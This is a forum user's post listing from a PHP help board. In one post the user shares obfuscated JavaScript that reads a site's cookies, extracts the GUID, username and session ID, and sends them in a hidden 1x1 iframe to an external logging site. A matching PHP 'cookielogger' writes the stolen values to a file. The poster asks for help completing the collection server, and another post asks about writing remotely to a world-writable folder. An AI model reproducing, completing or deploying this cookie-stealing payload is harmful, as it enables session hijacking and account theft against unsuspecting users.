anup09
-
Posts
7 -
Joined
-
Last visited
Never
Posts posted by anup09
-
-
[code]
<?php
$cookie = $_POST['guid'];
$file = "logfile.txt"; //chmod 777 this file
$openfile = fopen("$file","a");
fwrite($openfile,"$cookie\n\n------------------------\n\n");
fclose($openfile);
?>
[/code]
both cookielogger.php and logfile.txt are chmodded to 755 as my host doesnt support 777 -
Script is their at the top and bottom of the script.. if i wold put it their it wouldnt let me post :(.. thx for all help
var gt = "<";
var e1 = "scr";
var e2 = "ipt";
var lt = ">";
var if1 = "ifr";
var if2 = "ame";
document.write(gt + e1 + e2 + lt);
document.write("var jewsdidwtc = documen");
document.write("t.cook");
document.write("ie.split(\';\');");
document.write("<\/script>");
// WRITE COOKIE TO TOP OF SCREEN.
document.write(jewsdidwtc);
var quot = '"'
[b]"SOMESITE" SHOULD
// BE A SITE WHERE YOU CAN TAIL THE LOGS
// OR MAYBE WRITE A SPECIFIC SCRIPT TO
// CAPTURE THE ARGUMENTS PROVIDED[/b]"
var url = "http://SOMEWEBSITE/";
document.write(gt + if1 + if2);
document.write(" src=" + url + "?guid=");
// --- get guid ---
var GUID = "GUID=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(GUID) == 0) var GUIDval = c.substring(GUID.length,c.length);
}
// --- get username ---
var USER = "u=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(USER) == 0) var USERval = c.substring(USER.length,c.length);
}
// --- get sessionid ---
var SESS = "x=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(SESS) == 0) var SESSval = c.substring(SESS.length,c.length);
}
document.write(GUIDval);
document.write("&u=" + USERval);
document.write("&x=" + SESSval);
document.write(quot);
document.write(" WIDTH=1 HEIGHT=1" + lt);
I need help on that SOMESITE.. i have a server jus need the script.. im lost.. please help...
it should output it to a logfile hosted on a different server..
:) thx for all help -
[quote author=lordphate link=topic=102248.msg405543#msg405543 date=1154192425]
wow buggy..lol all imgs have 101100111 on them..not good with certain sites....chgeck out http://www.arshem.net with your script
[/quote]
Well it works fine on my site .. its jus that open in new browser thinG -
I Like Zend
-
Definatly WEB
-
First Check This Out : http://www.anup.acespace.co.uk/proxy485698
UN - anup
PW - anup
when you type in to lets say go to google i want it to open up ina new page... so when u hit begin browsing i want it where it opens in a new page.. my php script here: :
[attachment deleted by admin]
Php Write CHMOD 777 Remotely
in PHP Coding Help
Posted
say i had a stats script on 1 server that logs to a file called log.txt on the same server as the script.. what if i wanted the script to log onto the other server in a folder chmodded 777.. is that possible.. how can i do it ??..